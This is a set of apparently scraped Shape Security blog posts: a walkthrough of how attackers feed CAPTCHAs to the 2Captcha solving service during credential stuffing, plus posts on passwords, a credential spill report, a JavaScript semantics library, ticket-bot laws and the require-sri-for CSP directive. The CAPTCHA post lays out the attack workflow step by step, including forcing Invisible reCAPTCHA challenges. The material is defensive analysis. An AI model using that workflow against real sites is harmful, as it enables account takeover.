How Cybercriminals Bypass CAPTCHA

One thing the world can consistently agree on is that CAPTCHAs are annoying. The puzzle always appears in the most inconvenient of places. Online gift card purchases. Creating an account on an ecommerce webpage. Typing in those hard to memorize credentials one too many times.

But the ultimate frustration about CAPTCHA is that it serves absolutely no purpose. The CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart), was originally designed to prevent bots, malware, and artificial intelligence (AI) from interacting with a web page. In the 90s, this meant preventing spam bots. These days, organizations use CAPTCHA in an attempt to prevent more sinister automated attacks like credential stuffing.

Almost as soon as CAPTCHA was introduced, however, cybercriminals developed effective methods to bypass it. The good guys responded with “hardened” CAPTCHAs but the result remains the same: the test that attempts to stop automation is circumvented with automation.

There are multiple ways CAPTCHA can be defeated. A common method is to use a CAPTCHA solving service, which utilizes low-cost human labor in developing countries to solve CAPTCHA images. Cybercriminals subscribe to a service for CAPTCHA solutions, which streamline into their automation tools via APIs, populating the answers on the target website. These shady enterprises are so ubiquitous that many can be found with a quick Google search, including:

  • DeathbyCAPTCHA
  • 2Captcha
  • Kolotibablo
  • ProTypers
  • Antigate

This article will use 2Captcha to demonstrate how attackers integrate the solution to orchestrate credential stuffing attacks.


Upon accessing the site, the viewer is greeted with the image below, asking whether the visitor wants to 1) work for 2Captcha or 2) purchase 2Captcha as a service.


Option 1 – Work for 2Captcha

To work for 2Captcha, simply register for an account, providing an email address and PayPal account for payment deposits. During a test, an account was validated within minutes.

New workers must take a one-time training course that teaches them how to quickly solve CAPTCHAs. It also provides tips such as when case does and doesn’t matter. After completing the training with sufficient accuracy, the worker can start earning money.


After selecting “Start Work,” the worker is taken to the workspace screen, which is depicted above. The worker is then provided a CAPTCHA and prompted to submit a solution. Once solved correctly, money is deposited into an electronic “purse,” and the worker can request payout whenever they choose. There is seemingly no end to the number of CAPTCHAs that appear in the workspace, indicating a steady demand for the service.


2Captcha workers are incentivized to submit correct solutions much like an Uber driver is incentivized to provide excellent service—customer ratings. 2Captcha customers rate the accuracy of the CAPTCHA solutions they received. If a 2Captcha worker’s rating falls below a certain threshold, she will be kicked off the platform. Conversely, workers with the highest ratings will be rewarded during times of low demand by receiving priority in CAPTCHA distribution.

Option 2 – 2Captcha as a service

To use 2Captcha as a service, a customer (i.e., an attacker) integrates the 2Captcha API into her attack to create a digital supply chain, automatically feeding CAPTCHA puzzles from the target site and receiving solutions to input into the target site.

2Captcha helpfully provides example scripts to generate API calls in different programming languages, including C#, JavaScript, PHP, Python, and more. The example code written in Python has been reproduced below:


Integrating 2CAPTCHA into an Automated Attack

How would an attacker use 2Captcha in a credential stuffing attack? The diagram below shows how the different entities interact in a CAPTCHA bypass process:


Technical Process:

  1. Attacker requests the CAPTCHA iframe source and URL used to embed the CAPTCHA image from the target site and saves it locally
  2. Attacker requests API token from 2Captcha website
  3. Attacker sends the CAPTCHA to the 2Captcha service using HTTP POST and receives a Captcha ID, which is a numerical ID attributed with the CAPTCHA image that was submitted to 2Captcha. The ID is used in step 5 for an API GET request to 2Captcha to retrieve the solved CAPTCHA.
  4. 2Captcha assigns the CAPTCHA to a worker who then solves it and submits the solution to 2Captcha.
  5. Attacker programs script to ping 2Captcha using CAPTCHA ID (every 5 seconds until solved). 2Captcha then sends the solved CAPTCHA. If the solution is still being solved, the attacker receives a post from 2Captcha indicating “CAPTCHA_NOT_READY” and the program tries again 5 seconds later.
  6. Attacker sends a login request to the target site with the fields filled out (i.e. a set of credentials from a stolen list) along with the CAPTCHA solution.
  7. Attacker iterates over this process with each CAPTCHA image.

Combined with web testing frameworks like Selenium or PhantomJS, an attacker can appear to interact with the target website in a human-like fashion, effectively bypassing many existing security measures to launch a credential stuffing attack.

Monetization & Criminal Ecosystem

With such an elegant solution in place, what does the financial ecosystem look like, and how do the parties each make money?

Monetization: CAPTCHA solver

Working as a CAPTCHA solver is far from lucrative. Based on the metrics provided on 2Captcha’s website, it’s possible to calculate the following payout:

Assuming it takes 6 seconds per CAPTCHA, a worker can submit 10 CAPTCHAs per minute or 600 CAPTCHAs per hour. In an 8 hour day that’s 4800 CAPTCHAs. Based on what was earned during our trial as an employee for 2Captcha (roughly $0.0004 per solution), this equates to $1.92 per day.

This is a waste of time for individuals in developed countries, but for those who live in locales where a few dollars per day can go relatively far, CAPTCHA solving services are an easy way to make money.

Monetization: Attacker

The attacker pays the third party, 2Captcha, for CAPTCHA solutions in bundles of 1000. Attackers bid on the solutions, paying anywhere between $1 and $5 per bundle.

Many attackers use CAPTCHA-solving services as a component of a larger credential stuffing attack, which justifies the expense. For example, suppose an attacker is launching an attack to test one million credentials from Pastebin on a target site.  In this scenario, the attacker needs to bypass one CAPTCHA with each set of credentials, which would cost roughly $1000.  Assuming a 1.5% successful credential reuse rate, the attacker can take over 15,000 accounts, which can all be monetized.

Monetization: 2Captcha

2Captcha receives payment from the Attacker on a per 1000 CAPTCHA basis. As mentioned above, customers (i.e. attackers) pay between $1 and $5 per 1000 CAPTCHAs. Services like 2Captcha then take a cut of the bid price and dole out the rest to their human workforce. Since CAPTCHA solving services are used as a solution at scale, the profits add up nicely. Even if 2Captcha only receives $1 per 1000 CAPTCHAs solved, they net a minimum of 60 cents per bundle. The owners of these sites are often in developing countries themselves, so the seemingly low revenue is substantial.

What about Google’s Invisible reCAPTCHA?

In March of this year, Google released an upgraded version of its reCAPTCHA called “Invisible reCAPTCHA.” Unlike “no CAPTCHA reCAPTCHA,” which required all users to click the infamous “I’m not a Robot” button, Invisible reCAPTCHA allows known human users to pass through while only serving a reCAPTCHA image challenge to suspicious users.

You might think that this would stump attackers because they would not be able to see when they were being tested. Yet, just one day after Google introduced Invisible reCAPTCHA, 2CAPTCHA wrote a blog post on how to beat it.

The way Google knows a user is a human is if the user has previously visited the requested page, which Google determines by checking the browser’s cookies. If the same user started using a new device or recently cleared their cache, Google does not have that information and is forced to issue a reCAPTCHA challenge.

For an attacker to automate a credential stuffing attack using 2Captcha, he needs to guarantee a CAPTCHA challenge. Thus, one way to bypass Invisible reCAPTCHA is to add a line of code to the attack script that clears the browser with each request, guaranteeing a solvable reCAPTCHA challenge.

The slightly tricky thing about Invisible reCAPTCHA is that the CAPTCHA challenge is hidden, but there is a workaround. The CAPTCHA can be “found” by using the “inspect element” browser tool. So the attacker can send a POST to 2Captcha that includes a parameter detailing where the hidden CAPTCHA is located. Once the attacker receives the CAPTCHA solution from 2Captcha, Invisible reCAPTCHA can be defeated via automation in one of two ways:

  1. JavaScript action that calls a function to supply the solved token with the page form submit
  2. HTML code change directly in the webpage to substitute a snippet of normal CAPTCHA code with the solved token input.

The fact that Invisible reCAPTCHA can be bypassed isn’t because there was a fatal flaw in the design of the newer CAPTCHA. It’s that any reverse Turing test is inherently beatable when the pass conditions are known.

As long as there are CAPTCHAs, there will be services like 2Captcha because the economics play so well into the criminal’s hands. Taking advantage of low cost human labor minimizes the cost of doing business and allows cybercriminals to reap profits that can tick upwards of millions of dollars at scale. And there will always be regions of the world with cheap labor costs, so the constant demand ensures constant supply on 2Captcha’s side.

The world doesn’t need to develop a better CAPTCHA, since this entire approach has fundamental limitations. Instead, we should acknowledge those limitations and implement defenses where the pass conditions are unknown or are at least difficult for attackers to ascertain.


Holmes, Tamara E. “Prepaid Card and Gift Card Statistics.”, 01 Dec. 2015. Web.

Hunt, Troy. “Breaking CAPTCHA with Automated Humans.” Blog post. Troy Hunt. Troy Hunt, 22 Jan. 2012. Web.

Motoyama, Marti, Kirill Levchenko, Chris Kanich, and Stefan Savage. Re: CAPTCHAs–Understanding CAPTCHA-solving Services in an Economic Context. Proc. of 19th USENIX Security Symposium, Washington DC. Print.

World Kill the Password Day

This World Password Day, let’s examine why the world has not yet managed to kill the password.

Today is World Password Day. It’s also Star Wars Day, which will get far more attention from far more people (May the Fourth be with you). It also happens to be National Orange Juice Day. And a few other days. This confusion is appropriate for World Password Day, because while the occasion is about improving password habits, the world has turned decidedly against passwords. Headlines from the past few years demonstrate a consistent stream of invective toward them:

2013: “PayPal and Apple Want to Kill Your Password
2014: “Inside Twitter’s ambitious plan to kill the password
2015: “White House goal: Kill the password
2016: “Google aims to kill passwords by the end of this year
2017: “Facebook wants to kill the password

And yet, not one of these efforts has succeeded in “killing the password”—as we can see from the fact that every major online service still requires them.

Why is this the case? To explore this question, it is useful to first examine the function that passwords serve. Online applications must ensure that only authorized users are able to access their data or functionality. In order to do this, the application requires some form of proof that the user who is accessing the application is who they say they are. Passwords are a “shared secret” between the authorized user and the application, and if the user accessing the application demonstrates they know this secret, the application assumes that they are the authorized user. Unfortunately, unauthorized users may learn this shared secret, through various types of attacks, so passwords simply do not provide a good proof of identity. And yet, the password continues to be the universal method of online authentication.

So what about all of the technologies that have gained popularity in recent years, like two-factor authentication using mobile devices and fingerprint scanners? Let’s take a look at some of these alternatives and why they haven’t been able to replace passwords.

Standard biometrics, like fingerprint and iris-based authentication, are convenient in that you always have them available on your person, but you obviously cannot change them. Soft biometrics, like voice and typing pattern analysis, are similar convenient, but have too much variation to be used for anything but negative authentication. Hard and soft tokens, in the form of dedicated hardware or personal mobile devices, are inconvenient to access and often difficult to use. And finally, device-based authentication is also only suitable for negative authentication, since users use multiple devices or may lose their authorized device.

There are some common benefits and drawbacks of these approaches which start to appear. This is because every system for authentication fits into the well-known framework of:

1. Something you know (such as a password)
2. Something you have (such as a mobile phone)
3. Something you are (such as a fingerprint)

The problem is that each part of this framework has different strengths and weaknesses. “Something you know” is convenient and changeable, but it can also be stolen easily, especially if copied somewhere and stored insecurely. “Something you have” is harder to steal, but is also not always with you. And “Something you are” is always available to you, but the description of what you are (say, a scan of your iris) cannot be changed if stolen from an insecure service that stored it. What this means is that the only true replacement for passwords will come from a mechanism that offers the same benefits as “something you know”, and yet somehow addresses its drawbacks.

Security challenge questions: the worst second factor

Some systems have tried to use security challenge questions as an additional authentication factor, especially for password recovery, but these are one of the worst developments in online security. Their problem is that they combine the drawbacks of passwords (answers can be stolen through data breaches), with the drawbacks of biometrics (you can’t change your mother’s maiden name or the street where you grew up), and add their own unique drawbacks (answers can be guessed through social media). Most security professionals now enter random information into such security challenge questions, but that effectively creates additional passwords, which offer no benefit over a single, strong password, except for use as a backup password.

But there is a more fundamental conflict which underpins our continued reliance on passwords: the fact that security and convenience are usually at odds. Moving toward three-factor authentication (one factor from each category), using a combination of something like a password, a soft token, and biometrics, one can create a relatively secure authentication mechanism, but this is much less convenient for most users.

Users value convenience over security (yet still expect security)

For many years, the public has been learning of the need for everyone to select strong passwords. But most people still don’t. Recently, because of the Yahoo and other data breaches, the public started to learn that even if they select strong passwords, they should never reuse them across sites. But most people still do. Password managers aren’t silver bullets, and are subject to their own vulnerabilities, but their widespread use would dramatically improve both of the above issues. Unfortunately, most people don’t use them. Multi-factor authentication, specifically two-factor authentication using mobile phones, is now offered on most major online services. While everyone should enable it, most people won’t, due to the difficulty of use or the lack of convenience.

Security professionals and other security-conscious users are getting more and more options, but the average person continues to value convenience and ease of use above all else, and would like security to simply be provided for them automatically. They don’t want to have to take responsibility for preventing their online bank account from being hacked—they want the bank to take care of that.

In fact, since users will quickly abandon services that are too difficult to use, online services focus much more on improving usability than on security. This is illustrated by a step back in security that technology companies have taken over the years, by standardizing on the use of email addresses as usernames. In the past, you could set a unique username for each account, making it far more difficult for cybercriminals to gain access to your account on one service by stealing your credentials from another. But since remembering both usernames and passwords was hard for users, and online services needed users’ email addresses anyway, they have collectively chosen to consolidate the username and email address into a single identifier. This, of course, has fuelled credential stuffing attacks and automated fraud across all major online services, leveraging billions of spilled credentials through attack tools like Sentry MBA.

The future includes more passwords, for now

The reason that we still have passwords is because we as users continue to demand their advantages, and haven’t come up with anything that preserves those while addressing their drawbacks. Similar to Winston Churchill’s observation on democracy, we might say that passwords are the worst form of authentication—except for all the others that have been tried.

While users are becoming more security conscious, and are learning to accept the friction of multi-factor authentication for the benefit of security, a sea change in user behavior isn’t happening anytime soon. This shifts the burden for security and fraud protection back to online service providers. Given the constraint of delivering a friction-free experience to their users, they are now investing in layered, invisible security mechanisms. These mechanisms allow them to provide the benefits of passwords with defense against their drawbacks, by doing things such as detecting when stolen passwords are used (as recommended by NIST) or protecting against credential stuffing attacks.

It’s World Password Day. While technologies like Apple’s Touch ID afford us great conveniences, and may eventually result in many people being able to bypass re-entering their passwords much of the time, they do not replace those passwords. We’re not “killing” the password anytime soon, so this May 4th, let’s make sure we continue to promote good password practices.

2017 Credential Spill Report

social_media_10largest_spillsOver the past 12 months, we have seen dozens of the world’s largest online services report that they had been breached by attackers who were able to gain access to their customers’ login credential data. By the end of 2016, over three billion credentials in total were reported stolen, at an average pace of one new credential spill reported every week.

These numbers are a record and include the two largest reported credential spills of all time, both by Yahoo. Near the end of the year, the National Institute of Standards and Technology published the Draft NIST Special Publication 800-63B Digital Identity Guidelines, recommending that online account systems check their users’ passwords against known spilled credential lists.

As the size and frequency of credential spills appears to be increasing, today we are publishing the 2017 Credential Spill Report. This report includes key findings from the credential spills reported in the past year and data from the Shape network to provide insight into the scale of credential theft and how stolen credentials are used.

In particular, stolen credentials are now used every day in credential stuffing attacks on all major online services. In these attacks, cybercriminals test for the reuse of passwords across websites and mobile applications. In the past, announcements of credential spills would focus on the security of accounts at the organization which reported the data breach, but now people are realizing that the widespread reuse of passwords by users across websites means that a breach on one account system endangers all other account systems.

At Shape, we have a unique view into this activity because our technology protects the world’s most attacked web and mobile applications—those run by the largest corporations in financial services, retail, travel, and other industries, as well as the largest government agencies—on a 24/7 basis.

Key statistics from spills reported in the past year include:

Over 3 billion credentials were reported stolen in 2016.

  • 51 companies reported suffering a breach where user credentials were stolen.
  • Yahoo in 2016 reported the two largest credential spills of all time. The next largest credential spills in 2016 were reported by Friend Finder, MySpace, Badoo and LinkedIn.
  • Tech companies had the largest total number of spilled credentials (1.75 billion).
  • The gaming industry had the largest number of companies with spills (11).

From Shape’s network data, we also observed:

  • 90% of login requests on many of the world’s largest web and mobile applications is attributable to traffic from credential stuffing attacks.
  • There is up to a 2% success rate for account takeover from credential stuffing attacks, meaning that cybercriminals are taking over millions of accounts across the Internet on a daily basis as a result of credential spills.
  • Credential stuffing attacks are now the single largest source of account takeover on most major websites and mobile applications.
  • One Fortune 100 retailer experienced a credential stuffing attack with over 10,000 login attempts in one day coming from the cybercriminal attack tool Sentry MBA, which is the most popular credential stuffing software and appears to be used to attack nearly every company in every industry.
  • Analyzing 15.5M account login attempts for one customer during a four month period, over 500K accounts were confirmed to be on publicly spilled credential lists.

Dealing with credential spills and the credential stuffing attacks that they fuel is a complex topic. Here are some basic recommended actions for consumers and enterprises:

The most important takeaway for consumers is that you should never reuse passwords across online accounts. Selecting a strong password is not enough; if you have reused that same password on multiple sites, and one of those sites is breached, your accounts on all of the other sites where you have used the same password are now at risk.

For companies, a lot of public attention is focused on any organization that experiences a data breach and loses control of their users’ credentials. However, the real issue other companies should focus on is protecting themselves against those passwords being used to attack them and their own users. Credential stuffing attacks easily bypass simple security controls like CAPTCHA and Web Application Firewalls, so relying on those mechanisms does not offer any protection. Controls like two-factor authentication can help, but of course come with other drawbacks.

In any case, getting educated is the best course of action. The Open Web Application Security Project (OWASP) provides a starting point for learning about credential stuffing and other automated attacks in their list of OWASP Automated Threats To Web Applications.

To learn more, download the full 2017 Credential Spill Report.

Dan Woods,

Director, Shape Intelligence Center

Shift Semantics

A few months ago, Shape released Shift Semantics, the newest tool in the Shift family of ECMAScript tooling.

The Shift Semantics library defines a structure for representing the behaviour of an ECMAScript program as well as a function for deriving one of these structures from a Shift AST.


While ECMAScript has many syntactic features, not every one of them maps to a unique behaviour. For instance, all static member accesses (a.b) can be represented in terms of computed member accesses on strings (a['b']), and all for loops can be written in terms of while loops. Shift Semantics defines a data structure called an abstract semantic graph (ASG) which has a node for each individual operation that an ECMAScript interpreter would need to be able to interpret all ECMAScript programs. When an ASG is created, information about the original syntactic representation is lost. Only the important bit about what that program is supposed to do remains.

Why is this useful?

Many use cases for ECMAScript tooling do not involve knowledge of the original representation of the program. For instance, if one is compiling an ECMAScript program to another lower-level language, it is convenient to define a compilation once for all loops instead of repeating much of the same code for each looping construct in the language. This greatly reduces the number of structures you have to consider for your transformation/analysis and eliminates any need for code duplication.

What does it look like?

There are 52 ASG nodes. Many of them have an obvious meaning: Loop, MemberAccess, GlobalReference, LiteralNumber, etc. Others are not as obvious. Keys is an Object.keys analogue, used to represent the for-in behaviour of retrieiving enumerable keys of an object before looping over them. RequireObjectCoercible represents the internal spec operation of the same name. Halt explicitly indicates that the program has run to completion, though it’s also allowed to be used in other places within the graph if one desires.

Update: If you’d like to see GraphViz visualisations, see the examples in Pull Request #8 or run the visualiser yourself on a program of your choosing.

How do I use it?

If you don’t already have a Shift AST for your program, you will need to use the parser to create one:

import com.shapesecurity.shift.parser.Parser;

String js = "f(0);";

// if you have a script
Script script = Parser.parseScript(js);
// if you have a module
Module module = Parser.parseModule(js);

Once you have your Shift AST, pass it to the Explicator:

import com.shapesecurity.shift.semantics.Explicator;

Semantics semantics = Explicator.deriveSemantics(program);

The Semantics object’s fields, including the ASG, can be accessed directly. One can also define a reducer, in the same way a reducer is defined over a Shift AST: subclassing the ReconstructingReducer. Note that our ASG reducers have not yet been open-sourced, but will be soon.


Currently, WithStatements and direct calls to eval are explicated into Halt nodes. There’s no reason that these cannot be supported, but they were not part of the initial effort. Similarly, not all of ECMAScript 2015 and beyond is supported. We will be adding support for newer ECMAScript features piece by piece as development continues.


Thanks to Shape engineer Kevin Gibbons for figuring out all the hard problems during the design of the ASG.

The Right to Buy Tickets

Young people waiting in line to buy tickets in NewYork.

With President Obama’s signing of the Better Online Ticket Sales (BOTS) Act of 2016 and the passing of recent legislation in New York, there are signs of hope that beginning in 2017, humans may once again have a fighting chance of purchasing a ticket to a hot concert, show or event.

It took ticket prices reaching $1000 per head for the award-winning Broadway show “Hamilton”, to force action against ticket bots getting the best seats in the house. Lin-Manuel Miranda who created and stars in Hamilton wrote a compelling Op-Ed in the New York Times in June 2016 entitled “Stop the Bots from Killing Broadway.” Finally, in December New York Gov. Cuomo passed a bill to make ticket bot purchases illegal. As one of the founding fathers of the US Constitution, it seems that Hamilton would have approved of an amendment that protected “the right to buy tickets.”

So how did ticket bots get control over the ticket purchases? The cybercriminal ecosystem has evolved over the past few years to make it easier to launch automated attacks on web and mobile apps with the purpose of stealing assets. In the case of ticket bots, automated scripts running on rented botnets enable the immediate and rapid purchase of tickets to popular events once they go on sale. Humans don’t have a chance against a machine intent on purchasing tickets. Until now.

With the recently passed ticket bot legislation, it is officially illegal to use ticket bots with the purpose of automated purchasing. Now ticket sellers  are protected against fraud by state fines and possible jail time as a deterrent.  With this new legislation, ticket sellers must also tighten up their defenses so that they can prevent the use of ticket bots proactively. Just stating that the use of automation and ticket bots is not allowed will no longer be sufficient as a defense.

Enforcing this legislation will have some challenges given the number of parties involved in automated ticket purchases. The illegal ticket reseller is in many cases at the outer edge of a cybercriminal ecosystem that is rapidly building out infrastructure and services on the Dark Web. In addition to automated ticket purchases, automated credential stuffing attacks for account takeover and malicious content scraping are affecting retail, travel and ecommerce businesses. The threat of fines and possible jail time for ticket bots will hopefully go some way to drying up some of the demand for cybercriminal automation.

Shows such as Hamilton were created for humans to enjoy, and at Shape Security we believe consumers shouldn’t have to fight bots to get a ticket. Every day at Shape Security we help major companies defend against automated attacks by bots, and we applaud this new legislation outlawing ticket bots.

Contributing to the Future

The mission of the Web Application Security Working Group, part of the Security Activity, is to develop security and policy mechanisms to improve the security of Web Applications, and enable secure cross-origin communication.

If you work with websites, you are probably already familiar with the web features that the WebAppSec WG has recently introduced. But not many web developers (or even web security specialists) feel comfortable reading or referencing the specifications for these features.

I typically hear one of two things when I mention WebAppSec WG web features:

  1. Specifications are hard to read. I’d rather read up on this topic at [some other website].
  2. This feature does not really cover my use-case. I’ll just find a workaround.

Specifications are not always the best source if you are looking to get an introduction to a feature, but once you are familiar with it, the specification should be the first place you go when looking for a reference or clarification. And if you feel the language of the specification can be better or that more examples are needed, go ahead and propose the change!

To cover the second complaint, I’d like to detail out our experience contributing a feature to a WebAppSec WG specification. I hope to clarify the process and debunk the myth that your opinion is going to be unheard or that you can’t, as an individual, make a meaningful contribution to a web feature used by millions.


Content Security Policy is a WebAppSec WG standard that allows a website author to, among other things, declare the list of endpoints with which a web page is expecting to communicate. Another great WebAppSec WG standard, SRI, allows a website author to ensure that the resources received by their web page (like scripts, images, and stylesheets) have the expected content. Together, these web features significantly reduce the risk that an attacker can substitute web page resources for their own malicious resources.

I helped standardise and implement require-sri-for, a new CSP directive that mandates SRI integrity metadata to be present before requesting any subresource of a given type.

Currently, SRI works with resources referenced by script and link HTML elements. Also, the Request interface of the Fetch API allows to specify the expected integrity metadata. For example, Content-Security-Policy: require-sri-for script style; extends the expectations and forbids pulling in any resources of a given type without integrity metadata.

Contributing to a WebAppSec WG Specification

Unlike some other working groups, there is no formal process on how to start contributing to W3C’s Web Application Security Working Group specifications, and it might look scary. It is actually not, and usually flows in the following order:

  1. A feature idea forms in somebody’s head enough to be expressed as a paragraph of text.
  2. A paragraph or two is proposed either in WebAppSec’s public mailing list or in the Github Issues section of the relevant specification. Ideally, examples, algorithms and corner-cases are included.
  3. After some discussion, which can sometimes take quite a while, the proposal starts to be formalised as a patch to the specification.
  4. The specification strategy is debated, wording details are finalised, and the patch lands in the specification.
  5. Browser vendors implement the feature.
  6. Websites start using the feature.

Anyone can participate in any phase of feature development, and I’ll go over the require-sri-fordevelopment timeline to highlight major phases and show how we participated in the process.

Implementing require-sri-for

  1. Development started in an issue on the WebAppSec GitHub repo opened back in April 2014 by Devdatta Akhawe. He wonders how one might describe a desire to require SRI metadata, e.g. the integrity hash, be present for all subresources of a given type.
  2. Much time passes. SRI is supported by Chrome and Firefox. Github is among first big websites to use it in the wild.
  3. A year later, Github folks raise the same question that Dev did on the public-webappsec mailing list, with an addition of having an actual use case: they intended to have an integrity attribute on every script they load, but days later after deplyoing the SRI feature, determined that they had missed one script file.
  4. Neil from Github Security starts writing up a paragraph in the CSP specification to cover a feature that would enforce integrity attribute on scripts and styles. Lots of discussion irons out the details that were not covered in the earlier email thread.
  5. I pick up the PR and move it to the SRI specification GitHub repo. 65 comments later, it lands in the SRI spec v2.
  6. Frederik Braun patches Firefox Nightly with require-sri-for implementation.
  7. I submit a PR to Chromium with basic implementation. 85 comments later, it evolves into a new Chrome platform feature and lands with plans to be released in Chrome 54.


Specification development is happening on Github, and there are many great specifications that you should be looking at:

We Are Hiring!

If you reached here, there is a chance that Shape has a career that looks interesting to you.